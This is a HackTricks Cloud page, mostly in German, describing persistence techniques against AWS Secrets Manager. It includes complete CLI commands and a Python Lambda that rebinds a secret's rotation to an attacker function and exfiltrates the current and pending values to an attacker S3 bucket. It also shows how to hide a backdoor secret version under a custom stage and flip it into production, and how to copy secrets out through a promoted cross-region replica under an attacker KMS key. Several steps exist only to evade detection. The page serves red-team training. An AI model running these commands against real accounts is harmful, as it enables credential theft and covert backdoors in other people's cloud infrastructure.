AWS - Secrets Manager Persistence
Reading time: 10 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Secrets Manager
Für weitere Informationen siehe:
Via Resource Policies
Es ist möglich, über Resource Policies grant access to secrets to external accounts. Siehe die Secrets Manager Privesc page für weitere Informationen. Beachte, dass um access a secret zu erhalten, das externe Konto außerdem need access to the KMS key encrypting the secret.
Via Secrets Rotate Lambda
Um rotate secrets automatisch auszuführen, wird eine konfigurierte Lambda aufgerufen. Wenn ein Angreifer den change am code durchführen könnte, könnte er das neue secret direkt an sich selbst exfiltrate the new secret.
So könnte der Lambda-Code für eine solche Aktion aussehen:
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
Rotation-Lambda auf eine vom Angreifer kontrollierte Funktion via RotateSecret umstellen
Missbrauche secretsmanager:RotateSecret, um ein Secret an eine vom Angreifer kontrollierte Rotation-Lambda zu binden und eine sofortige Rotation auszulösen. Die bösartige Funktion exfiltriert die Secret-Versionen (AWSCURRENT/AWSPENDING) während der Rotationsschritte (createSecret/setSecret/testSecret/finishSecret) zu einem Angreifer-Speicher (z. B. S3 oder externes HTTP).
-
Requirements
-
Permissions:
secretsmanager:RotateSecret,lambda:InvokeFunctionauf der Angreifer-Lambda,iam:CreateRole/PassRole/PutRolePolicy(oder AttachRolePolicy) um die Lambda-Execution-Rolle mitsecretsmanager:GetSecretValueund idealerweisesecretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage(damit Rotation weiter funktioniert), KMSkms:Decryptfür den Secret-KMS-Key unds3:PutObject(oder ausgehender Egress) für die Exfiltration bereitzustellen. -
A target secret id (
SecretId) mit aktivierter Rotation oder die Fähigkeit, Rotation zu aktivieren. -
Impact
-
Der Angreifer erhält den/die Secret-Wert(e), ohne den legitimen Rotationscode zu verändern. Es wird nur die Rotationskonfiguration geändert, sodass sie auf die Angreifer-Lambda zeigt. Wenn unbemerkt, werden geplante zukünftige Rotationen weiterhin die Funktion des Angreifers aufrufen.
-
Attack steps (CLI)
- Prepare attacker sink and Lambda role
- Erstelle einen S3-Bucket für die Exfiltration und eine Execution-Rolle, der Lambda vertraut, mit Berechtigungen, das Secret zu lesen und in S3 zu schreiben (plus Logs/KMS nach Bedarf).
- Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
- Rebind rotation and trigger
aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
- Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
- (Optional) Restore the original rotation Lambda to reduce detection.
- Example attacker Lambda (Python) exfiltrating to S3
- Environment:
EXFIL_BUCKET=<bucket> - Handler:
lambda_function.lambda_handler
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']
def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Missbrauche Secrets Manager version staging labels, um eine vom Angreifer kontrollierte Secret-Version zu platzieren und unter einer benutzerdefinierten Stage (z. B. ATTACKER) verborgen zu halten, während die Produktion weiterhin die ursprüngliche AWSCURRENT verwendet. Verschiebe jederzeit AWSCURRENT auf die Version des Angreifers, um abhängige Workloads zu vergiften, und stelle sie anschließend wieder her, um die Entdeckung zu minimieren. Dies ermöglicht stealthy backdoor persistence und schnelle Manipulation der time-of-use, ohne den Secret-Namen oder die Rotation-Konfiguration zu ändern.
-
Requirements
-
Permissions:
secretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage,secretsmanager:DescribeSecret,secretsmanager:ListSecretVersionIds,secretsmanager:GetSecretValue(for verification) -
Target secret id in the Region.
-
Impact
-
Behalte eine versteckte, vom Angreifer kontrollierte Version eines Secrets und wechsele bei Bedarf atomar
AWSCURRENTauf diese, um alle Konsumenten zu beeinflussen, die denselben Secret-Namen auflösen. Der Wechsel und das schnelle Zurücksetzen verringern die Chance einer Entdeckung, während sie eine zeitpunktbezogene Kompromittierung ermöglichen. -
Attack steps (CLI)
-
Preparation
-
export SECRET_ID=<target secret id or arn>
CLI commands
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}
# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"
# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"
# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
- Hinweise
- Wenn Sie
--client-request-tokenangeben, verwendet Secrets Manager es als dieVersionId. Wenn Sie eine neue Version hinzufügen, ohne explizit--version-stageszu setzen, wirdAWSCURRENTstandardmäßig auf die neue Version verschoben und die vorherige alsAWSPREVIOUSmarkiert.
Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Missbrauche die multi-Region-Replikation von Secrets Manager, um eine replica eines Ziel-Secret in eine weniger überwachte Region zu erstellen, diese mit einem vom attacker kontrollierten KMS-Schlüssel in dieser Region zu verschlüsseln, die replica dann zu einem eigenständigen Secret zu promote und eine permissive resource policy anzuhängen, die dem attacker Lesezugriff gewährt. Das ursprüngliche Secret in der primary Region bleibt unverändert, wodurch dauerhafter, unauffälliger Zugriff auf den Secret-Wert über die promoted replica möglich ist und KMS-/policy-Einschränkungen der primary Region umgangen werden.
-
Voraussetzungen
-
Berechtigungen:
secretsmanager:ReplicateSecretToRegions,secretsmanager:StopReplicationToReplica,secretsmanager:PutResourcePolicy,secretsmanager:GetResourcePolicy,secretsmanager:DescribeSecret. -
In der replica Region:
kms:CreateKey,kms:CreateAlias,kms:CreateGrant(oderkms:PutKeyPolicy), damit das attacker principalkms:Decryptausführen kann. -
Ein attacker principal (user/role), der Lesezugriff auf das promoted Secret erhält.
-
Auswirkung
-
Persistenter cross-Region-Zugriffspfad auf den Secret-Wert über eine eigenständige replica unter einer vom attacker kontrollierten KMS-CMK und einer permissive resource policy. Das primary Secret in der ursprünglichen Region bleibt unberührt.
-
Angriff (CLI)
-
Variablen
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
- Erstelle einen vom Angreifer kontrollierten KMS-Schlüssel in der Replikations-Region
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
- Repliziere das secret nach R2 mithilfe des attacker KMS key
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
- Die Replik in R2 zur Standalone-Instanz befördern
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
- Eine permissive Resource-Policy an das eigenständige Secret in R2 anhängen
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
- Das Secret vom attacker principal in R2 lesen
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud